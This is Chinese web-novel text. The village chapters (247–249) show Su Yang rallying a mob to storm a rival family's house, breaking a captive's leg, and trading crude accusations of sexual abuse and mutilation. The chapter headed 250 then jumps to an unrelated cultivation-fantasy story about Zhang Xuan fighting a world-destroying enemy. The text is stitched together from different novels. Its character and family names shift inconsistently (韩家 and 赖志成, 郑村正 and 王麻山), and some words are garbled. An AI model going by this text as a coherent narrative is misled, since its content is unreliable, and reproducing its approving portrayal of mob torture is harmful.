“我说……我全都说……别打了……” 油头粉面男断断续续的叙述,让在场的所有人都变了脸色。 无论是跟他一起来的那些人,还是挤在院子外头看热闹的村民,一个个都张大了嘴巴,半天合不拢。 谁能想到,这人竟然能无耻到这种地步!简直连畜生都不如! 被抓上山后,这油头粉面男为了活命,竟把自己老婆当成礼物送给了土匪头子! 不仅如此,他为了巴结那些土匪,还干起了伺候人的勾当。 那些土匪里,有几个喜欢男人的,他就跪舔着给他们当玩意儿! 简直把祖宗八代的脸都丢尽了! 后来,青虎岭的土匪被官兵打得落花流水,四处逃窜。 其他土匪都跟着自家老麻跑路,只有这油头粉面男,贼心不死。 他趁乱躲进深山老林,等官兵撤走后,才敢偷偷摸摸地溜回清水村。 他回村后,从同村的乡勇口中得知,据说在寨子里发现了他媳妇的踪迹。 而且,他老婆还跟一个长得白白净净的青龙村小伙子跑了! 这还了得?! 油头粉面男一听这话,顿时就急了。 他干的那些龌龊事,要是让他老婆给抖搂出去,他还怎么在村里混? 于是,这家伙眼珠子一转,计上心来。 他四处散布谣言,说他老婆在山上跟土匪勾搭成奸,早就成了个烂货。 他还撺掇着家里人,要把他老婆抓回来,浸猪笼,沉河底! 为的就是杀人灭口,掩盖他那些见不得人的勾当。 “打死他个狗日的!” “这种人渣,苟活着纯属浪费资源!” “村正,您就一句话!我们替您收拾了他!” 院子外头,看热闹的村民们义愤填膺,一个个挥舞着拳头,恨不得冲上来把油头粉面男给撕了。 “……” 油头粉面男的一番话,不仅让村民们怒火中烧,也让跟他一起来的那伙人彻底傻眼。 他们怎么也没想到,自己竟然会跟这种人搅和在一起。 更让他们震惊的是,眼前这个年轻人,竟然就是青龙村的村正! 他们这回可真是踢到铁板上了! “小……村正,都是我兄弟的错,他不是人,您大人有大量,就饶了他这一回吧!” 油头粉面男的麻哥还算有点脑子,他见势不妙,连忙上前一步,低声下气地向苏阳求情。 “我们这就把他带回去,关起来,再也不让他出来丢人现眼了!” 这家伙说话还算有条理,看样子也读过几本书。 苏阳瞥了他一眼,似笑非笑地说道: “你们既然是清水村的,那正好,让我打听一下这位大佬。清水村有个叫乜圆子的,你们认识不?” “认……认识,他……他是我堂哥……” 对方的声音有些发颤,眼神闪烁,似乎有些紧张。 这些人穿着打扮都还过得去,明显没去服徭役。 服徭役嘛,本来就可以出钱顶替,更何况他们跟清水村的村正还有亲戚关系。 那个乜圆子,肯定是清水村村正的狗腿子。 “他死了,这事你们知道吧?”苏阳语气平淡,仿佛在说一件无关紧要的事情。 “知……知道。”对方的声音更低了。 苏阳的手指轻轻地敲打着桌面,眼神中闪过一丝寒光: “那你们知道,他是怎么死的吗?” “这……”对方支支吾吾,半天说不出个所以然来。 “我来说吧。” 孔远山突然插了一句,他得意地扬了扬下巴,大声说道: “乜圆子那王八蛋,是我们村正亲手宰的!你们村那些个乡勇,难道没跟你们说?” 孔远山的声音很大,不仅院子里的人听得清清楚楚,就连院子外头的村民也都听到了。 “啥?!” 油头粉面男那伙人,顿时吓得魂飞魄散,一个个瘫坐在地上,脸色惨白如纸。 清水村那些乡勇,跟他们可不是一条心。 这种要命的事,怎么可能跟他们说得那么清楚? 万一被这些人给缠上,那可就麻烦了。 所以,那些乡勇回去后,只是含糊其辞地说乜圆子死了,至于具体是怎么死的,谁杀的,一个个都闭口不谈,生怕惹祸上身。 苏阳没有理会他们的反应,而是继续盯着油头粉面男,声音冰冷: “我再问你一遍,你跟那个卓麻,是不是在青虎岭上认识的?” “是……是……” 油头粉面男已经彻底崩溃了,他浑身颤抖,眼神涣散,说话都结结巴巴。 乜圆子那张凶神恶煞的脸,是他这辈子都忘不掉的噩梦。 那么一个狠角色,竟然就这么死在了眼前这个年轻人手里。 这小子,得有多狠啊! 油头粉面男越想越害怕,只觉得一股寒气从脚底板直窜到头顶。 他的大脑一片空白,完全失去了思考的能力。 “卓麻在山上,都跟你说了些什么?”苏阳的声音不大,却带着一股不容置疑的威严。 “他……他说……” 油头粉面男哆哆嗦嗦地开口,眼神飘忽不定。 突然,他的声音卡在了喉咙里,像是被人猛地掐住了脖子。 他想起来了,卓麻当时说,要带着青虎岭的土匪,去抓一个姓苏的小子。 听说这位大哥身价不菲,只要抓到他,保证能让青虎岭的土匪们发大财! 卓麻还说,这都是他老父亲的安排,那个姓苏的小子,坏得很! 油头粉面男说到这里,再说不下去了。 第二百四十七章 他的脸色由白转青,又由青转紫,最后变成了一片死灰。 他猛然意识到一个可怕的事实——眼前这个年轻人,不就姓苏吗?! 这下,所有人都明白了。 韩家父子和青虎岭的土匪,这是要对苏阳下手啊! 整个院子里,死一般的寂静。 所有人的目光都集中在苏阳身上,气氛压抑到了极点。 一场风暴,即将来临!“都他娘的给老子闭嘴!” 苏阳一声怒吼,唾沫阳子四溅。 原本还算热闹的场面,顿时安静了下来。 他现在心烦着呢,哪有心思听这些乱七八糟的八卦。 “赖志成、卓麻,这两个狗东西,是铁了心要弄死老子啊!” 苏阳心里憋着一团火。他可不是什么任人揉捏的软柿子,既然已经撕破脸,那就没什么好顾忌的了。 “乡亲们,我苏阳和韩家的那些破事,大家都清楚。之前我还想着,都是一个村的,抬头不见低头见,不想把事情做绝。” 苏阳顿了顿,环视四周,声音陡然拔高: “可现在呢?韩家父子竟然勾结青虎岭的土匪,要置我于死地!” “真当我苏阳是泥捏的,没点火气?”他猛地一拍大腿,震得尘土飞扬。 “他们以为弄死我,这事就完了?他娘的做梦!” 苏阳目光如刀,一一扫过众人,语气森然: “土匪是什么德行,你们心里没点数?” “一旦让他们进了村,谁他娘的能有好果子吃?” “今天,要么他们死,要么咱们亡!” 人群中,几个膀大腰圆的汉子猛地站了出来,像是几头被激怒的公牛,扯着嗓子吼道: “村正,跟他们废什么话,直接干就完了!” “对!弄死这帮狗娘养的!” “韩家就没一个好东西,留着他们,迟早是个祸害!” 这些都是当初跟着苏阳去过青虎岭的村民。 不少人还亲手揍过赖志成,早就和韩家结了仇。 现在有机会彻底解决后患,他们自然不会放过,一个个摩拳擦掌,恨不得立刻冲上去。 “好!” 苏阳大手一挥,像是挥动了一面战旗。 他指着被押过来的油头粉面男等人,声嘶力竭地吼道: “给我杀过去!” “今天,就让韩家从青龙村除名!” 上百号人,眼睛都红了,嗷嗷叫着,像一群被饿了三天三夜的野狼,直扑韩家大门。 那架势,仿佛要把韩家生吞活剥了。 韩家早就得了信儿,大门紧闭,门闩都不知道加了几根。 但这根本挡不住愤怒的村民。 “开门!开门!不开门砸了!” “赖志成,你个老乌龟王八蛋,给老子滚出来!” “再不开门,老子放火烧了你家!” 刚开始,大家还只是用拳头拍门、用脚踹门,力道还算克制。 可眼见韩家死活不开门,人群的情绪越来越激动,就像是火药桶被点燃了引线。 有人捡起石头,开始砸门。 小木生,大石头,像雨点一样,铺天盖地地砸过去。 “咣!咣!咣!” 震耳欲聋的响声中,那扇原本还算结实的大门,眼看着就要撑不住了,发出令人牙酸的“嘎吱”声。 眼瞅着大门就要被砸开,几个家丁模样的汉子,抬着一张桌子抵在了门后,死死顶住。 “他娘的,还敢负隅顽抗?” “兄弟们,加把劲,把门给老子卸了!” 人群中有人喊了一嗓子,几个壮汉直接抄起一根粗木头,朝着大门猛撞过去。 “一、二、三!撞!” “咚!” 木头狠狠地撞在大门上,发出沉闷的巨响,整个大门都跟着颤抖起来。 “再来!” “咚!” “咚!” 连续几次撞击,门闩终于不堪重负,“咔嚓”一声断裂开来。 大门“轰隆”一声,向内倒去,激起一片尘土。 站在门后的几个家丁,躲闪不及,被倒下的大门压在下面,发出杀猪般的惨叫。 “冲啊!” “活捉赖志成!” 人群像潮水一样涌了进去。 赖志成的老婆,原本还想拦住众人,此刻却被挤到了一边,差点被踩在脚下。 她披头散发,脸上沾满了灰尘,声嘶力竭地喊着:“住手!都给我住手!” 可惜,根本没人理她。 “苏二……苏阳!”她突然想起了什么,扯着嗓子喊道,“你不是说要和我爹做主吗?你就这么看着?” 苏阳站在人群外围,冷眼旁观。 他听到赖志成的老婆喊他,这才慢悠悠地走了过去。 “王家麻侄女,别着急嘛。”他语气轻佻,脸上却没什么表情,“我这不是来了吗?” “你……”赖志成的老婆气得浑身发抖,却又不敢发作。 她算是看出来了,苏阳根本就没把她放在眼里。 “你不是说要对质吗?”她强压着怒火,咬牙切齿地说道,“现在人呢?我要和我家老爷当面对质!” “对质?”苏阳冷笑一声,“你家老爷现在在哪儿,你心里没数吗?” “我……”赖志成的老婆一时语塞。 她当然知道赖志成在哪儿,可她不敢说啊! 就在这时,人群中突然传来一阵骚动。 “找到了!找到了!” “赖志成在这儿!” 几个村民押着一个五花大绑的中年男人,从后院走了出来。 这男人,正是赖志成。 他身上穿着一件绸缎长袍,却沾满了泥土和草屑,头发散乱,脸上青一块紫一块,显然是挨了揍。 “老爷!”赖志成的老婆惊呼一声,就要扑过去。 “站住!”苏阳一声断喝,止住了她。 “王家麻侄女,你不是要对质吗?”苏阳指着赖志成,冷冷地说道,“现在,人就在这儿,你有什么话,就当着大伙的面问吧。” 赖志成的老婆看着被打得鼻青脸肿的丈夫,心疼不已,但她知道,现在不是儿女情长的时候。 她深吸一口气,强迫自己冷静下来。 “赖志成,你老实交代,你到底有没有勾结青虎岭的土匪?”她厉声问道,声音都在颤抖。 赖志成看着自家婆娘,又看了看周围虎视眈眈的村民,眼神闪烁,支支吾吾地说不出话来。 “快说啊!”赖志成的媳妇慌了神,大声催促道。 “我……我……”赖志成吞吞吐吐,额头上渗出豆大的汗珠。 “村正,别跟他废话了,直接把他交给官府!” “对,让官府来审他!” 人群中,有人高声喊道。 “交给官府?”苏阳摇了摇头,“不行,官府那些人,和韩家沆瀣一气,说不定就把他给放了。” “那怎么办?”有人问道。 “简单。”苏阳嘴角勾起一抹冷酷的笑容,“既然他不肯说实话,那就让他永远也说不了实话。” 他从一个村民手中接过一根木棍,缓缓走向赖志成。 第二百四十八章 “苏阳,你……你要干什么?”赖志成的老婆吓坏了,尖叫着想要阻止他。 “王家麻侄女,你不是说要对质吗?”苏阳冷冷地看着她,“现在,我就让你看看,什么叫对质!” 说着,他举起木棍,狠狠地朝着赖志成的腿砸了下去。 “咔嚓!” 一声骨头断裂的脆响,在寂静的院子里格外刺耳。 “啊!” 赖志成发出一声凄厉的惨叫,抱着腿在地上翻滚。 “老爷!” 赖志成的老婆撕心裂肺地喊着,想要扑过去,却被几个村民死死拉住。 “苏阳,你不得好死!”她绝望地嘶吼着,声音嘶哑。 苏阳却像是没听见一样,又举起了木棍…… 突然,人群外围传来一阵喧哗。 “住手!都给我住手!” 一个中年男人的声音,穿透人群,传了进来。 “谁敢在青龙村撒野?” 众人回头一看,只见一个身穿锦袍,头戴方巾的中年男人,带着一群衙役,气势汹汹地走了过来。 “是郑村正!” “临溪村的郑村正来了!” 有人认出了来人,惊呼出声。 苏阳眉头一皱,停下了手中的动作。 他没想到,王麻山竟然会来得这么快。 “爹!爹!你可算来了!” 赖志成的老婆看到王麻山,像是看到了救星,挣脱村民的束缚,哭喊着跑了过去。 “爹,你快救救老爷啊!苏阳要打死他!” 王麻山看着眼前这混乱的场面,眉头紧锁,脸色铁青。 他走到苏阳面前,沉声问道:“苏老弟,这是怎么回事?” 苏阳还没开口,赖志成的老婆就抢先说道:“爹,苏阳他诬陷老爷勾结土匪,还带着人来打砸抢,你可要为我们做主啊!” 王麻山看了看被打得半死的赖志成,又看了看一脸平静的苏阳,心里已经有了计较。 “苏老弟,你有什么话说?”他再次问道,语气却缓和了许多。 “郑麻哥,这件事,说来话长。”苏阳叹了口气,缓缓说道,“赖志成父子勾结青虎岭土匪,想要谋害于我……” 他把事情的来龙去脉,原原本本地说了一遍,没有丝毫隐瞒。 王麻山听完,脸色越来越难看。 他没想到,赖志成竟然会做出这种事情。 “赖志成,苏老弟说的,可是真的?”他转头看向赖志成,厉声问道。 赖志成眼神闪躲,不敢和王麻山对视,支支吾吾地说不出话来。 “爹!你别听他胡说!”赖志成的老婆还在狡辩,“老爷怎么可能勾结土匪?这都是苏阳的污蔑!” “闭嘴!”王麻山怒喝一声,打断了她,“你懂什么?!” 他转头看向苏阳,脸上露出一丝歉意:“苏老弟,这件事,是我管教无方,让你受委屈了。” “这样吧,我把赖志成带回去,好好审问,一定给你一个交代。” 苏阳看着王麻山,眼神深邃。 他知道,王麻山这是在和稀泥,想要保住赖志成。 不过,他也不想和王麻山彻底闹翻。 毕竟,多个朋友多条路。 “好,郑麻哥,我相信你。”苏阳点了点头,“不过,我希望你能尽快给我一个答复。” “放心,一定!”王麻山保证道。 他转头对身后的衙役吩咐道:“把赖志成带走!” “是!” 衙役们应了一声,上前架起赖志成,就要离开。 “慢着!”苏阳突然开口。 “苏老弟,还有什么事?”王麻山问道。 “郑麻哥,赖志成可以跟你走,但是……”苏阳指着赖志成的老婆,冷冷地说道,“这个女人,必须留下!” “什么?”王麻山一愣。 “苏阳,你什么意思?”赖志成的老婆尖叫道,“你还想干什么?” “干什么?”苏阳冷笑一声,“当然是……以防万一。” “张寡妇,你不是说,韩家欠你一斗粮食吗?现在,可以去要了!” “还有谁被韩家欺负过的,都站出来!” 人群中,一个身穿粗布衣裳的妇人,怯生生地走了出来。 “村正,我……我男人被韩家打伤了,到现在还没好……” “我家的地,被韩家强占了……” “我……” 越来越多的人站了出来,控诉着韩家的恶行。 苏阳看着这些人,眼神冰冷。 他知道,今天,他要为这些人,讨回一个公道!“都说这世上的事儿,最勾人的就是裤裆里那点事。一说有瓜吃,谁不支棱起耳朵?” 人群瞬间炸开了锅,七嘴八舌的议论声像炸雷。 赖志成的老婆眼珠子瞪得像牛蛋,手指头几乎戳到张寡妇鼻子上:“放屁!放狗屁!我家男人是啥样的人,全村谁不知道?就你这骚浪蹄子,也配?” 张寡妇也不是省油的灯,腰杆一挺,气势汹汹:“咋地,敢做不敢当?当家的,大伙儿给评评理!我张寡妇要是胡咧咧,还让他男人赔我粮食?” “你放着给谁看呢!”赖志成的老婆气得浑身发抖,一拍大腿,“今儿个你要是说不出个道道来,看我不撕了你的嘴!” “哼,这可是你说的!”张寡妇冷笑一声,声音不大,却像一记闷雷砸在人群里,“你家男人,那活儿上有块青,我说得对不对?” 这话一出,全场瞬间安静,像被人点了穴。 所有人都张大了嘴巴,伸长了脖子,活像一群等着喂食的鸭子。 赖志成的老婆也懵了,张口结舌,像被人掐住了喉咙,憋得脸红脖子粗。 “你……你咋知道的?”她声音都变了调,透着一股子心虚。 苏阳在一旁看得直皱眉,心说:这都什么时候了,还扯这些没用的?能不能有点正事? 他咳嗽一声,高声道:“大侄女,这些闲篇儿回头再说。先把赖志成给我弄出来,还有他大儿子赖守仁!” 说着,苏阳朝张寡妇甩了个眼刀子。 那眼神,像要把张寡妇活吃了。 张寡妇吓得一激灵,赶紧往后退,躲到人群里去了。 这女人,就爱干些偷鸡摸狗的事儿。谁家有点啥事,她比谁都清楚。 赖志成家屋里。 父子俩早就听到了外头的动静,这会儿正抱团取暖呢。 赖志成有气无力地靠在墙上,脸色比墙灰还白。 他这伤,说重不重,说轻也不轻,就这么不上不下地吊着,更折磨人。 “爹,你说苏二那小子,这次是不是真要弄死咱?”赖守仁声音发颤,带着哭腔。 赖志成没好气地瞪了他一眼:“你问我,我问谁去?你小子平时不是挺能耐吗?这会儿咋怂了?” “我……”赖守仁张了张嘴,想说点啥,可话到嘴边又咽了回去。 “你给我闭嘴!”赖志成低吼一声,“等会儿出去,啥话都别说,听我的! 第二百四十九章 ” 他心里清楚,苏阳这次来者不善。卓明远那事,八成就是苏阳搞的鬼。 “这小王八蛋,心真够狠的!”赖志成咬牙切齿。 原本他还想出去避避风头,可现在看来,是躲不过去了。 “爹,要不……咱把事儿都认了吧?”赖守仁试探着问道。 “认个屁!”赖志成一巴掌拍在炕沿上,“咱要是认了,还有活路吗?苏二那小子,巴不得咱早点死呢!” “可是……” “别可是了!”赖志成打断他,“记住,咬死了别松口!只要咱不承认,谁也拿咱没辙!” 外头,赖志成的老婆已经等得不耐烦了。 她冲进屋,一把拽起赖志成:“还磨蹭啥呢?赶紧跟我出去!” 赖志成被她拽了个趔趄,差点没摔地上。 “你慢点!我这身子骨,经得起你这么折腾吗?”他气急败坏地吼道。 “少废话!”赖志成的老婆瞪了他一眼,“赶紧的!” 说着,她又转头冲赖守仁吼道:“还有你!躲在屋里干啥?出来!” 赖守仁吓得一哆嗦,赶紧从屋里溜了出来。 “记住,别乱说话!”赖志成的老婆又叮嘱了一句。 “知道了,娘。”赖守仁低着头,小声应道。 “怕个球!”赖志成的老婆一挺胸脯,“有老娘在,谁敢动你们一根汗毛?” 说着,她大步流星地朝外走去。 赖志成和赖守仁对视一眼,都从对方眼里看到了无奈和恐惧。 “走吧。”赖志成叹了口气,率先迈出了门槛。 看到赖志成出来,人群自动让开了一条路。 “苏二,你到底想干啥?”赖志成站在院子中间,色厉内荏地问道。 苏阳笑了笑:“卓村正,别紧张。我就是想问问你,你儿子跟青虎岭的土匪,到底是啥关系?” “啥关系?没关系!”赖志成想都没想,直接否认。 “哦?是吗?”苏阳挑了挑眉,“那这位,你认识吗?” 他指了指被押着的油头粉面。 赖守仁一看到油头粉面,腿肚子都软了。 “爹,他……他……”他结结巴巴地说不出话来。 “他什么他?你给我闭嘴!”赖志成狠狠地瞪了他一眼。 “苏二,你少在这儿妖言惑众!”赖志成梗着脖子说道,“谁知道你从哪儿找来这么个玩意儿,就想诬陷我们?” “诬陷?”苏阳冷笑一声,“赖志成,你可真会睁眼说瞎话。你儿子跟土匪勾结,这事儿可不是我一个人说了算。乡亲们都看着呢,你抵赖得了吗?” “我……”赖志成一时语塞,不知道该说什么好。 “卓麻,你不认识我了?”油头粉面突然开口了,“咱俩可是在青虎岭一起待了好几天,你忘了?你还说,要带我回村,给我找个媳妇呢!” “你……你胡说!”赖守仁脸色煞白,浑身颤抖。 “我胡说?”油头粉面冷笑一声,“卓麻,你敢不敢把你裤子脱了,让大伙儿看看,你屁股上是不是有块胎记?”赖志成质疑油头粉面,这正中苏阳下怀。 “老东西,少跟我耍滑头!” 不等苏阳开口,油头粉面就急吼吼地跳了出来,眼珠子瞪得像铜铃,唾沫阳子横飞,指着赖志成的鼻子破口大骂: “你儿子赖守仁亲口说的!要算计你们村的苏阳,还要把整个村子都卖给青虎岭!” “事成之后,好处二一添作五,你们和土匪平分……” “放屁!血口喷人!” 赖守仁脖子上的青筋都爆了起来,脸色涨成了猪肝色,他猛地一拍大腿,跳着脚打断油头粉面的话: “我什么时候说要算计全村了?我、我……我顶多就是想对付……” 话说到一半,赖守仁突然意识到不对,硬生生把后半句咽了回去,只剩下喉咙里发出“咯咯”的怪声,像是被掐住了脖子的鸭子。 他干咳两声,试图掩饰过去:“咳咳,谁也不对付!” 此地无银三百两。 在场的所有人都不是傻子,心里跟明镜似的。赖守仁这小子绝对跟土匪有勾结。 就算不是想把整个青龙村卖了,至少也想对付苏阳! 赖守仁也意识到自己说漏了嘴,额头上开始冒汗,他急忙想要补救。 他眼珠子一转,索性破罐子破摔,指着油头粉面,声音尖锐: “乜明福,你少在这儿装好人!别以为我在青虎岭上几天,就不知道你干的那些烂事!” “你为了讨好麻当家的,亲手把你村里的女人扒光了,送到他床上!” “那女人不从,咬了麻当家的一口,你就……” 赖守仁故意拉长了声音,像是说书先生卖关子,把所有人的好奇心都吊到了嗓子眼。 他死死盯着油头粉面,一字一顿,咬牙切齿地说道: “你就丧尽天良,把她的……给割了下来!你还是不是人?” “霍!” 这句话像一道惊雷,在人群中炸开。 众人目瞪口呆,空气仿佛凝固了一般。 大伙你看我,我看你,都被赖守仁爆出的这个惊天大瓜震得说不出话来。 假如赖守仁所言属实,那这个叫乜明福的家伙,简直连畜生都不如! “你、你胡说!我什么时候……” 乜明福脸色煞白,嘴唇哆嗦着,他试图辩解,却发现自己的声音颤抖得厉害。 没等他把话说完,人群中突然爆发出一声野兽般的嘶吼。 “乜明福,你个天杀的畜生!还我媳妇命来!” 只见一个原本被绑着的清水村村民,不知何时挣脱了束缚。 他双眼血红,像一头受伤的野兽,猛地朝乜明福扑了过去。 “哎哟!” “出人命啦!” 人群顿时乱作一团,尖叫声、惊呼声此起彼伏。 大家纷纷躲避,生怕被殃及。 有几个胆大的汉子想要上前拉架,却又被那清水村村民的疯狂劲儿吓得缩了回去。 谁都知道,清水村最近丢了两个女人。 一个是这乜明福的婆娘方二姐,另一个就是眼前这个发疯的汉子的媳妇。 大家伙儿都没想到,乜明福居然能干出这种伤天害理的事情,连畜生都不如! 苏阳冷眼旁观,脸上没有任何表情。 他心里清楚,像乜明福这种人,为了活命什么事干不出来? 出卖自己老婆,对他来说根本不算什么。 不过,亲手割掉人家……这手段确实残忍了点。 赖守仁这招祸水东引,倒是有点意思。 虽说大家都心知肚明他和土匪有勾结,可乜明福的话,已经没人信了。 毕竟,一个如此灭绝人性的家伙,说的话谁敢信? 苏阳原本可以借着声势,直接把韩家父子拿下。 以他现在的实力,就算当场杀了他们,也没人敢放个屁。 第二百五十章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! 